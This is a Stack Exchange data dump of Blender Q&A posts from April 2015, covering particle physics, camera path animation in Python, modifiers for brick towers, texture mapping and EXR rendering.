  <row Id="28743" PostTypeId="1" CreationDate="2015-04-21T12:49:49.953" Score="9" ViewCount="872" Body="&lt;p&gt;I want to make the falling autumn leaves. &#xA;I did a system of particles that rotate in flight. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make them not rotate after lay on the surface?&lt;/p&gt;&#xA;" OwnerUserId="13487" LastActivityDate="2018-11-10T22:23:06.753" Title="How can I make particles not rotate after lay on the surface?" Tags="&lt;particles&gt;&lt;physics&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28744" PostTypeId="2" ParentId="28742" CreationDate="2015-04-21T12:50:44.640" Score="2" Body="&lt;p&gt;Don't worry! I've found my solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Convinced that the problem was due to the mesh, I continued to look into things regarding its construction. Whence, I looked at the scale. The X, Y, and Z scales were all uneven, and more importantly not 1.0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For reasons best known to Blender, if a shape is not scaled &quot;normally&quot; i.e. 1x1x1, it seems to upset the physics engine in this respect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution was to change all the scales to 1 again and using the scale function (S followed by X, Y, or Z) resize the mesh to fit. Since I had an armature, it was unaffected so I un-parent-ed it and made it fit before reparenting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The physics engine has been happy since.&lt;/p&gt;&#xA;" OwnerUserId="13895" LastActivityDate="2015-04-21T12:50:44.640" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28745" PostTypeId="1" CreationDate="2015-04-21T13:08:07.737" Score="4" ViewCount="1215" Body="&lt;p&gt;I want to make the falling autumn leaves. &#xA;I did a system of particles, but when the leaf particles reach the surface, (to which I applied collision modifier), they do not entirely remain on the surface, but are &quot;stuck&quot; in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make particles not pass through the surface and not get &quot;stuck&quot; in it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/56KPd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13487" LastEditorUserId="38670" LastEditDate="2017-08-28T18:31:38.567" LastActivityDate="2017-08-28T18:31:38.567" Title="How can I make particles not pass through the surface and not get &quot;stuck&quot; in it?" Tags="&lt;particles&gt;&lt;physics&gt;" AnswerCount="0" CommentCount="15" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28746" PostTypeId="1" AcceptedAnswerId="28748" CreationDate="2015-04-21T13:42:10.947" Score="19" ViewCount="26653" Body="&lt;p&gt;No matter what I select or where I look I can't find the ruler anywhere. I'm using Blender 2.74, what am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="13899" LastActivityDate="2019-08-25T06:46:55.623" Title="How do you access the ruler?" Tags="&lt;measurement&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="28747" PostTypeId="2" ParentId="28728" CreationDate="2015-04-21T13:50:00.483" Score="2" Body="&lt;p&gt;It you unwrap again using &lt;strong&gt;Project from View (Bounds)&lt;/strong&gt; your UV map will resize automatically to the image size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XsivQ.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-04-21T13:50:00.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28748" PostTypeId="2" ParentId="28746" CreationDate="2015-04-21T13:53:36.227" Score="26" Body="&lt;p&gt;Open the toolbar in the 3D Viewport using &lt;kbd&gt;T&lt;/kbd&gt;. Navigate to the &lt;em&gt;Grease Pencil&lt;/em&gt; section and click the 'Ruler/Protractor' button. You can now click and drag in the 3D Viewport to create a ruler and or protractor measurement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9ymEk.gif&quot; alt=&quot;Ruler GIF&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-04-21T13:53:36.227" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28749" PostTypeId="2" ParentId="28723" CreationDate="2015-04-21T13:59:34.280" Score="1" Body="&lt;p&gt;A vertex from the wing is going throuhg the back , move this vertex forward and it'll fix :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Rm1He.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-04-21T13:59:34.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28750" PostTypeId="1" AcceptedAnswerId="28751" CreationDate="2015-04-21T14:14:11.437" Score="12" ViewCount="1938" Body="&lt;p&gt;Is it possible to rename a folder in the blender file browser? How about a file?&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="3127" LastEditDate="2015-04-21T14:17:17.300" LastActivityDate="2015-04-21T14:17:17.300" Title="Rename folder/file in blender file browser?" Tags="&lt;interface&gt;&lt;workflow&gt;&lt;shortcut&gt;&lt;file-browser&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28751" PostTypeId="2" ParentId="28750" CreationDate="2015-04-21T14:16:16.627" Score="12" Body="&lt;p&gt;You can do this using &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;LMB&lt;/kbd&gt;. Simply hold &lt;kbd&gt;Ctrl&lt;/kbd&gt; and click on the file or folder you would like to rename.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-04-21T14:16:16.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28752" PostTypeId="1" AcceptedAnswerId="28779" CreationDate="2015-04-21T15:00:01.777" Score="9" ViewCount="1043" Body="&lt;p&gt;I recently have been experimenting with &lt;a href=&quot;https://blender.stackexchange.com/users/5426/x-27&quot;&gt;X-27's&lt;/a&gt; excellent answer on &lt;a href=&quot;https://blender.stackexchange.com/questions/28312/how-could-i-place-objects-buildings-on-a-flat-surface-in-the-bge/28313#28313&quot;&gt;how to place objects dynamically in the BGE&lt;/a&gt;. I have been trying to figure out how to do the same thing, only make it possible to snap the next block to previously added ones as well as the ground. Is there a simple way to do this? And if not, what sorts of workarounds/complex solutions are there?&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.780" LastActivityDate="2017-12-15T04:41:18.803" Title="Is it possible to snap objects to faces in the Blender Game Engine?" Tags="&lt;scripting&gt;&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28753" PostTypeId="1" AcceptedAnswerId="28813" CreationDate="2015-04-21T15:08:22.063" Score="3" ViewCount="341" Body="&lt;p&gt;Back-story: I'm using blender as a level editor for a game I'm making, this means I write an addon in Python to export the relevant data in my format, and manipulate the blender interface to add options I need. Fixtures and Bodies (basically shapes) are easy to represent with 2D meshes, and I use Properties to add my specific options. Whenever I can, I exploit existing blender options (like the rigid body stuff) instead of adding my own. I am no avid blender user otherwise, so I guess that makes me a noob vs all everyday users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;[TL;DR: just read from here...]&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What blender object resembles/represents Box2D Joints the best?&lt;/strong&gt; And if none is perfect, what can I start with and how do I modify it to suit my needs?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need it to have:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Two &quot;object properties&quot; (references to other existing objects) which will represent which two bodies to connect. In Box2D these are called &lt;em&gt;BodyA&lt;/em&gt; and &lt;em&gt;BodyB&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Two &quot;point/vector&quot; properties. These would represent what specific points on the two bodies to link together. Box2D name: &lt;em&gt;AnchorA&lt;/em&gt; and &lt;em&gt;AnchorB&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What would also be nice:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Have it visualize the joint between the two anchor points, if it draws a line or something that'd be great.&lt;/li&gt;&#xA;&lt;li&gt;Really nice if it actually restricted the objects to, say, a certain distance away from each other when I move them.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;[...to here]&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, I'm sure I could add more specific properties like joint type, break strength, etc. myself through Python Property registration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: I am a programmer; I'm not afraid to code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh, and before you mention it: I have seen &quot;rigid body constraints&quot;, but among other things they don't satisfy condition 2. I've also found them generally messy and hard to understand (if the constraint is already applied to a body, what does it need &lt;strong&gt;two&lt;/strong&gt; parent properties for?) I'm assuming a lot of this is because they are focused towards 3D not 2D, but am open for suggestions if someone still sees an opportunity there.&lt;/p&gt;&#xA;" OwnerUserId="11312" LastActivityDate="2015-04-22T18:59:53.600" Title="How to represent Box2D joints" Tags="&lt;python&gt;&lt;scripting&gt;&lt;physics&gt;&lt;add-on&gt;" AnswerCount="1" CommentCount="7" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28754" PostTypeId="1" AcceptedAnswerId="28756" CreationDate="2015-04-21T15:50:11.497" Score="2" ViewCount="1740" Body="&lt;p&gt;(suppose camera is in the right location already)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand if doing this manually I need to select the camera and hold shift and select the curve that I want to follow, then ctrl+p and select &quot;follow path&quot;.&#xA;But how do I make this with python script?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My guess is I can use python script to implement these tow steps in order. It seems that &quot;Follow path&quot; can be achieved by &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.object.parent_set(type='FOLLOW')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this alone won't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;sorry I'm a newbie to blender.&lt;/p&gt;&#xA;" OwnerUserId="13436" LastEditorUserId="13436" LastEditDate="2015-04-21T16:44:20.770" LastActivityDate="2015-04-21T16:44:20.770" Title="how to set the camera follow path using python script" Tags="&lt;bezier-curves&gt;&lt;camera&gt;&lt;path&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28755" PostTypeId="2" ParentId="28655" CreationDate="2015-04-21T16:18:10.937" Score="16" Body="&lt;p&gt;Sadly you can not do this directly, however you can achieve the same result fairly easily. Begin by selecting one longitudinal edge loop, and pressing &lt;kbd&gt;P&lt;/kbd&gt; &lt;em&gt;&gt; By Selection&lt;/em&gt;. Now (in object mode) delete the old mesh. Next select the new edge loop mesh, and press &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt; &lt;em&gt;&gt; Curve from Mesh/Text&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JUAWK.gif&quot; alt=&quot;Torus Edge Loop&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can create a cylinder, add an array and curve modifier, and you have the desired result. You may need to scale and adjust your cylinder mesh slightly to fine tune it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/68rL8.gif&quot; alt=&quot;Deformed Mesh&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply animate the mesh's position (on the Z axis) to animate the edge loop sliding effect, and add your wireframe modifier to complete the effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yRdsn.gif&quot; alt=&quot;Animated Mesh&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this is what the final result will look like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0fV4s.gif&quot; alt=&quot;Animated loop&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The array modifier has been disabled to show the animation more clearly.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditDate="2015-04-21T16:36:30.540" LastActivityDate="2015-04-21T16:36:30.540" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28756" PostTypeId="2" ParentId="28754" CreationDate="2015-04-21T16:43:30.547" Score="3" Body="&lt;p&gt;Thanks for @poor 's comment. It can be done in the way of &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/9200/make-object-a-a-parent-ob-object-b-via-python&quot;&gt;make object A a parent of object B via Python&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;specifically, it needs to be coded like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;camera = bpy.data.objects['Camera']&#xA;path = bpy.data.objects['NurbsPath']&#xA;lamp = bpy.data.objects['Lamp']&#xA;&#xA;camera.select = True&#xA;lamp.select = True&#xA;path.select = True&#xA;&#xA;bpy.context.scene.objects.active = path #parent&#xA;&#xA;bpy.ops.object.parent_set(type='FOLLOW') #follow path&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you can find the objects name in python console with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;list(bpy.data.objects)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13436" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2015-04-21T16:43:30.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28757" PostTypeId="1" CreationDate="2015-04-21T16:59:37.013" Score="4" ViewCount="880" Body="&lt;p&gt;I am rendering a scene using cycle and I have set up a background with a &lt;em&gt;Sky texture&lt;/em&gt;. Now I want to adjust the height of the horizon. I tried to use a &lt;em&gt;Mapping&lt;/em&gt; node but what it does is changing the background in a solid color (which varies depending on the Z value).&lt;/p&gt;&#xA;" OwnerUserId="13343" LastEditorUserId="2217" LastEditDate="2015-04-21T20:30:24.490" LastActivityDate="2015-04-21T20:30:24.490" Title="horizon mapping in cycles" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;nodes&gt;&lt;coordinates&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28758" PostTypeId="1" CreationDate="2015-04-21T17:17:12.183" Score="2" ViewCount="2143" Body="&lt;p&gt;How can I change the preview FPS (the animation rate when pressing Alt+A or Play) in Blender 2.72? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems locked to 30 fps, so somewhere there is an option that says 30, but I've looked everywhere and can't find it. The scene is extremely simple so not locked by performance reasons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This other question asks the same thing: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/6293/is-it-possible-to-adjust-the-frame-rate-of-viewport-playback&quot;&gt;Is it possible to adjust the frame rate of viewport playback?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and the answer there was to change the rate in the Scene tab under Dimensions, but that is 24 fps currently and changing it doesn't change the preview rate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want to render and playback etc, I just want to play the animation faster in the preview window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="13375" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.497" LastActivityDate="2016-01-11T16:26:47.633" Title="Changing preview animation fps" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28759" PostTypeId="1" AcceptedAnswerId="28760" CreationDate="2015-04-21T17:26:00.010" Score="6" ViewCount="3223" Body="&lt;p&gt;I've been looking for a solution for several hours but got no luck..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to make the camera's footstep smaller when moving &quot;follow path&quot;? (camera moves along a curve)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Put it another way, how can I decrease the distance on the curve that the camera moves between two frames? (in python script)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default it moves way too fast...&lt;/p&gt;&#xA;" OwnerUserId="13436" LastActivityDate="2015-04-21T18:18:24.183" Title="how to make camera moves slower when moving along a curve" Tags="&lt;animation&gt;&lt;camera&gt;&lt;path&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28760" PostTypeId="2" ParentId="28759" CreationDate="2015-04-21T17:52:15.223" Score="7" Body="&lt;p&gt;With the curve selected;&#xA;Select the Object Data tab in the Properties window,&#xA;In the Path Animation panel change the Frames value, higher values result in a slower follow speed.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/T9heC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Edit:&lt;/em&gt;&lt;/strong&gt;&lt;br&gt;&#xA;This value can be modified in python using the following line;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.curves[&quot;NurbsPath&quot;].path_duration = X&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where &lt;strong&gt;&lt;em&gt;NurbsPath&lt;/em&gt;&lt;/strong&gt; is the name of your curve, and &lt;strong&gt;&lt;em&gt;X&lt;/em&gt;&lt;/strong&gt; is the value you would like to set.&lt;/p&gt;&#xA;" OwnerUserId="13901" LastEditorUserId="5113" LastEditDate="2015-04-21T18:18:24.183" LastActivityDate="2015-04-21T18:18:24.183" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28761" PostTypeId="2" ParentId="28758" CreationDate="2015-04-21T17:55:01.890" Score="2" Body="&lt;p&gt;Ok, after some more digging, I found this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The scene tab does change the FPS, but there is some lock at 30 fps preview rate (at least on my setup) because the FPS indicator goes &quot;red&quot; at exactly 29.97 fps or so. It's most probably not due to scene complexity and the value is too close to 30 fps exactly to be a coincidence. Some kind of vertical sync issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To increase the rate anyway, the &quot;Time Remapping&quot; box just underneath the Frame rate box can be used, for example setting it to 100:50 will in effect make the animation twice the speed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HOWEVER there is a bug (in 2.72) it seems that makes this time remapping not work completely smooth - the &quot;remapped&quot; frame numbers are shown inside the Timeline and Action editor, but the &quot;unmapped&quot; frame numbers are (of course) used for the keyframes (since these are not actually changed by the setting).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, for example, if you have a 100 frames long animation setup, and you set the remapping to 100:50, you will need to change the start and end frame in the timeline to 0 and 50, or it will not loop correctly. This will show only &lt;em&gt;half&lt;/em&gt; the range of your keyframes, since the &quot;display frames&quot; are now remapped compared to the &quot;animation frames&quot;... :/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can post a screenshot of this if needed but it works for me (don't know if there are any hidden problems other than a display issue).&lt;/p&gt;&#xA;" OwnerUserId="13375" LastActivityDate="2015-04-21T17:55:01.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28762" PostTypeId="2" ParentId="9200" CreationDate="2015-04-21T17:57:50.057" Score="21" Body="&lt;p&gt;Avoid all the dancing around using &lt;code&gt;bpy.ops&lt;/code&gt; and that setting &lt;em&gt;selection&lt;/em&gt; and &lt;em&gt;active&lt;/em&gt;. Most of those bpy.ops commands are meant to be called by the UI once a user clicks a ' parent to x ' button , etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are on the right path by using the &lt;code&gt;.parent&lt;/code&gt;  attribute. All you really need are the names or references to the objects and you can parent much, much simpler.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;objects = bpy.data.objects&#xA;a = objects['Cube']&#xA;b = objects['Cube.001']&#xA;b.parent = a&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are times using a bpy.ops is a reasonable solution, but in this case the lower level solution of using &lt;code&gt;b.parent = a&lt;/code&gt; is functionally equivalent and fewer lines of code. &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Edit&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;In the comments of this answer we discuss how to decide when to use a member of bpy.ops, but CoDEmanX has a &lt;a href=&quot;https://blender.stackexchange.com/a/7360/47&quot;&gt;fine clarification here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2015-04-21T18:20:16.203" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="28764" PostTypeId="2" ParentId="28740" CreationDate="2015-04-21T18:32:42.823" Score="12" Body="&lt;p&gt;Render &lt;em&gt;OpenExr Multilayer&lt;/em&gt; for &lt;strong&gt;Blender, Nuke and Natron&lt;/strong&gt;. Go to the &lt;em&gt;Scene Tab&lt;/em&gt;, &lt;em&gt;enable all passes&lt;/em&gt;  which key for compositing and set the &lt;em&gt;Output Format&lt;/em&gt; in the &lt;em&gt;Render Tab&lt;/em&gt; to &lt;code&gt;OpenExr Multilayer&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cCxNr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2R7q5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender automatically writes all enabled passes and layers as single channels to the EXR as expected. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For &lt;strong&gt;After Effects and Fusion&lt;/strong&gt; I'd suggest render &lt;code&gt;single EXR's&lt;/code&gt;. For more information on rendering passes and layers as EXR's, see: &lt;a href=&quot;https://blender.stackexchange.com/questions/16152/save-all-render-passes-to-a-single-exr-image/18406#18406&quot;&gt;Save all render passes to a single EXR image&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; If you want to use &lt;em&gt;Index Passes&lt;/em&gt; (IndexOB or IndexMA) see this answer: &lt;a href=&quot;https://blender.stackexchange.com/questions/18243/how-to-use-index-passes-in-other-compositing-packages&quot;&gt;How to use index passes in other compositing packages?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.780" LastActivityDate="2016-08-26T06:46:16.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28765" PostTypeId="1" CreationDate="2015-04-21T18:53:31.860" Score="23" ViewCount="2753" Body="&lt;p&gt;I have been trying to make a brick tower, but the method I'm using doesn't seems too reliable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the method I'm using:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Move the brick origin to the center, followed by an empty object/array to rotate it.&lt;/li&gt;&#xA;&lt;li&gt;Make another empty object for the second array (tower height) and rotate it so it mixes the bricks a bit.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The problem with this method is that I need to do lots of tinkering, since I need to rotate the second array to mix the bricks, then move the second empty object to try to get the tower &quot;straight&quot;.&#xA;As you can see in the picture, the tower is not perfectly straight. Is there a better way to do it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/62pwQ.png&quot; alt=&quot;Brick Tower&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13902" LastEditorDisplayName="user12855" LastEditDate="2015-06-04T06:14:24.167" LastActivityDate="2015-06-04T06:14:24.167" Title="A reliable way to make a brick tower" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="14" ContentLicense="CC BY-SA 3.0" />
  <row Id="28766" PostTypeId="1" AcceptedAnswerId="28881" CreationDate="2015-04-21T19:07:42.653" Score="3" ViewCount="828" Body="&lt;p&gt;I have a python script that is supposed to run whenever one of the bad guys (cubes) in my game gets shot.  I'm using a cubelike style of art work, and I want the bad cubes to explode into smaller cubes when it gets shot.  I've tried using a python script to create multiple instances of a smaller cube in the same spot where the original cube was, so that the physics engine will shoot them apart as soon as the next physics step takes place.  Unfortunately, this method of doing things is not working.  It either shoots the cube off in a direction making a trail of cubes behind it, or it deletes itself and makes one small cube, (depending on whether I tell the bad cube to delete itself before or after it runs the script that creates the small cubes).  I don't really care how it's done, but if I could get some suggestions on how to achieve this effect, that would be great!&lt;/p&gt;&#xA;" OwnerUserId="12805" LastActivityDate="2015-04-24T01:05:16.717" Title="Ideas for how to make a cube explode into smaller cubes in game engine" Tags="&lt;game-engine&gt;&lt;physics&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28767" PostTypeId="2" ParentId="28757" CreationDate="2015-04-21T19:24:05.710" Score="5" Body="&lt;p&gt;This didn't work because the &lt;code&gt;Texture Coordinates&lt;/code&gt; node wasnt added. You should plug one of its output sockets (e.g. &lt;code&gt;Generated&lt;/code&gt; or &lt;code&gt;Object&lt;/code&gt;) into the &lt;code&gt;Vector&lt;/code&gt; input socket of the &lt;code&gt;Mapping&lt;/code&gt; node (this is a common approach if texturing anything in Cycles. Otherwise, in Cycles, texture won't appear on the mesh, just solid base color). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ORIal.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus you'll be able to adjust the position of the horizon simply by changing Location value by Z axis of the Mapping node (not sure if this is good idea to manipulate horizon like that).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/r3xUx.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I changed &lt;code&gt;Location&lt;/code&gt; value to &lt;code&gt;0.3&lt;/code&gt; here).&lt;/p&gt;&#xA;" OwnerUserId="1245" LastActivityDate="2015-04-21T19:24:05.710" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28768" PostTypeId="2" ParentId="28765" CreationDate="2015-04-21T19:25:04.337" Score="30" Body="&lt;p&gt;Instead of two empties use one curve and an empty as follows :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;add a curve circle&lt;/li&gt;&#xA;&lt;li&gt;add  Array modifier with some offset ( 1.05) and set it to fit curve&lt;/li&gt;&#xA;&lt;li&gt;add a curve modifier and set to use the curve circle&lt;/li&gt;&#xA;&lt;li&gt;add Array modifier with the empty as an offset object&#xA;this is the setup now :&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yZ6Ce.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and the modifiers ( on the brick ) :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OGPJN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the result and manipulation :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;all object should be at the origin, sclale the curve to change the diamater , and rotate the empty to create the rotation offset&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/E4fuk.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;update :&lt;/em&gt;&lt;/strong&gt; for any wall shape : &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;add a stack of 3 array modifiers and one curve modifier as follows  :&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Pp6BJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You control the length and shape of the wall using the curve :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zBXEv.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="5113" LastEditDate="2015-04-21T20:13:22.920" LastActivityDate="2015-04-21T20:13:22.920" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
